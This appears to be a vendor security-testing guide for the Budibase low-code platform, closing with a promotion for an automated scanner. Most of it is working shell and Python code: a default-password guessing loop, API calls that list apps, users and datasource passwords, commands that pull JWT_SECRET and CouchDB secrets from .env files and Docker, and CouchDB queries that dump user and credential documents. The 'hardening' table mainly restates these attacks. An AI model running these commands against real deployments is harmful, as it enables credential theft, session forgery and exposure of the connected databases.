Budibase Security Testing: Default Credentials, API Key, Database, and JWT_SECRET

Budibase is a widely deployed open-source low-code platform for building internal applications and admin panels — it connects to external databases, REST APIs, and cloud services, storing all datasource connection credentials. Key assessment areas: JWT_SECRET in .env signs authentication tokens enabling session forgery; the Budibase API key provides full platform admin access without a password; COUCHDB_PASSWORD provides direct access to the CouchDB database that stores all Budibase application data and datasource configurations; and the API allows enumerating all applications and their connected datasource credentials. This guide covers systematic Budibase security assessment.

Table of Contents

  1. Authentication, API Key, and Default Credential Testing
  2. API Application and Datasource Enumeration
  3. JWT_SECRET, CouchDB, and Datasource Credential Extraction
  4. Budibase Security Hardening

Authentication, API Key, and Default Credential Testing

# Budibase — authentication, API key, and default credential testing
BUDIBASE_URL="https://budibase.example.com"

# Budibase admin login
AUTH=$(curl -s -X POST "${BUDIBASE_URL}/api/global/auth/default/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin@example.com","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token','FAIL: '+str(list(d.keys()))))
" 2>/dev/null)
echo "Token: ${TOKEN}"

# Try common passwords
for PASS in "admin" "budibase" "password" "changeme" "admin123" "Password1"; do
  STATUS=$(curl -s -X POST "${BUDIBASE_URL}/api/global/auth/default/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'token' in d else 'FAIL')" 2>/dev/null)
  echo "admin@example.com/${PASS}: ${STATUS}"
done

# Budibase API key — generated in portal settings (provides full admin access)
API_KEY="your-budibase-api-key"

# Test API key — full admin access without password
curl -s "${BUDIBASE_URL}/api/applications?status=all" \
  -H "x-budibase-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('data',d) if isinstance(d,dict) else d
print(f'Applications: {len(apps)}')
for a in apps[:10]:
    print(f'  [{a.get(\"appId\")}] {a.get(\"name\")} status={a.get(\"status\")}')
" 2>/dev/null

API Application and Datasource Enumeration

# Budibase REST API — application and datasource enumeration
BUDIBASE_URL="https://budibase.example.com"
API_KEY="your-budibase-api-key"
APP_ID="your-app-id"

# List all applications
curl -s "${BUDIBASE_URL}/api/applications?status=all" \
  -H "x-budibase-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('data',[])
print(f'Applications: {len(apps)}')
for a in apps:
    print(f'  [{a.get(\"appId\")}] {a.get(\"name\")} url={a.get(\"url\")} status={a.get(\"status\")}')
" 2>/dev/null

# List all datasources for an application — connection configs with credentials
curl -s "${BUDIBASE_URL}/api/datasources" \
  -H "x-budibase-api-key: ${API_KEY}" \
  -H "x-budibase-app-id: ${APP_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
datasources = d.get('datasources',[])
print(f'Datasources: {len(datasources)}')
for ds in datasources:
    config = ds.get('config',{})
    print(f'  [{ds.get(\"_id\")}] {ds.get(\"name\")} type={ds.get(\"source\")}')
    host = config.get('host','')
    port = config.get('port','')
    db = config.get('database','')
    user = config.get('user','')
    password = config.get('password','')
    if host:
        print(f'    host={host}:{port} db={db} user={user} password={password[:20] if password else \"[encrypted]\"}')
" 2>/dev/null

# List all users in the platform
curl -s "${BUDIBASE_URL}/api/global/users" \
  -H "x-budibase-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',d) if isinstance(d,dict) else d
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"_id\")}] {u.get(\"email\")} admin={u.get(\"admin\",{}).get(\"global\")} status={u.get(\"status\")}')
" 2>/dev/null

JWT_SECRET, CouchDB, and Datasource Credential Extraction

# Budibase JWT_SECRET, CouchDB, and datasource credential extraction

# .env file — Budibase secrets
cat /app/.env 2>/dev/null | grep -E "JWT_SECRET|COUCHDB|REDIS|MINIO|S3|ENCRYPTION"
# JWT_SECRET — JWT signing key for authentication tokens
# COUCHDB_USER / COUCHDB_PASSWORD — CouchDB admin credentials
# REDIS_URL — Redis session storage
# MINIO_ACCESS_KEY / MINIO_SECRET_KEY — S3-compatible storage credentials

# Docker environment variables
docker inspect budibase 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['JWT_SECRET','COUCHDB','REDIS','MINIO','S3','ENCRYPTION']):
            print(e)
" 2>/dev/null

# CouchDB direct access — Budibase uses CouchDB as its primary database
COUCHDB_URL="http://admin:COUCHDB_PASSWORD@localhost:5984"

# List all databases
curl -s "${COUCHDB_URL}/_all_dbs" 2>/dev/null | python3 -c "
import json,sys
dbs=json.load(sys.stdin)
print(f'Databases: {len(dbs)}')
for db in dbs[:20]: print(f'  {db}')
" 2>/dev/null

# _users database — all Budibase user accounts
curl -s "${COUCHDB_URL}/_users/_all_docs?include_docs=true" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
rows = d.get('rows',[])
print(f'Users: {len(rows)}')
for r in rows[:10]:
    doc=r.get('doc',{})
    if doc.get('type') not in ['design','_design']:
        print(f'  {doc.get(\"name\",doc.get(\"email\",r.get(\"id\")))} roles={doc.get(\"roles\",[])[:3]}')
" 2>/dev/null

# App-specific databases — contain datasource configs with credentials
# Each Budibase app has its own CouchDB database (app_*)
curl -s "${COUCHDB_URL}/_all_dbs" 2>/dev/null | python3 -c "
import json,sys
dbs=json.load(sys.stdin)
app_dbs=[db for db in dbs if db.startswith('app_')]
print(f'App databases: {len(app_dbs)}')
" 2>/dev/null

APP_DB="app_your_app_id"
# Get datasource documents from app database
curl -s "${COUCHDB_URL}/${APP_DB}/_design/database/_view/by_type?key=%22datasource%22&include_docs=true" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
rows=d.get('rows',[])
for r in rows[:10]:
    doc=r.get('doc',{})
    config=doc.get('config',{})
    print(f'Datasource: {doc.get(\"name\")} type={doc.get(\"source\")}')
    print(f'  host={config.get(\"host\")} db={config.get(\"database\")}')
    print(f'  user={config.get(\"user\")} password={config.get(\"password\",\"[encrypted]\")}')
" 2>/dev/null

Budibase Security Hardening

Budibase Security Hardening Checklist:
Security TestMethodRisk
JWT_SECRET extraction and session token forgeryRead .env JWT_SECRET — JWT signing key; forge valid authentication tokens as any Budibase user bypassing password authenticationCritical
API key extraction and full admin accessRead .env or Budibase settings for API key — grants complete admin access to all applications and datasources via x-budibase-api-key header without session authenticationCritical
CouchDB credential extraction and datasource enumerationRead .env COUCHDB_PASSWORD — direct CouchDB access; SELECT app database datasource documents — all connection strings and credentials for connected databases and APIsCritical
API datasource credential enumerationGET /api/datasources with API key — all datasource configurations; password field may contain plaintext or minimally obfuscated credentials for all connected external databasesCritical
User email harvesting via admin APIGET /api/global/users with API key — all platform users with emails, admin status, and last active timestamp; enables targeted phishing against all internal tool usersHigh

Automate Budibase Security Testing

Ironimo tests Budibase deployments for JWT_SECRET extraction and session token forgery, API key enumeration and full admin access testing, CouchDB COUCHDB_PASSWORD credential extraction, datasource credential extraction from app databases, plaintext password field detection in datasource configurations, API application and user enumeration, MinIO/S3 credential extraction, Docker environment variable exposure, CouchDB "admin party" mode testing, and rate limiting bypass testing on authentication endpoints.

Start free scan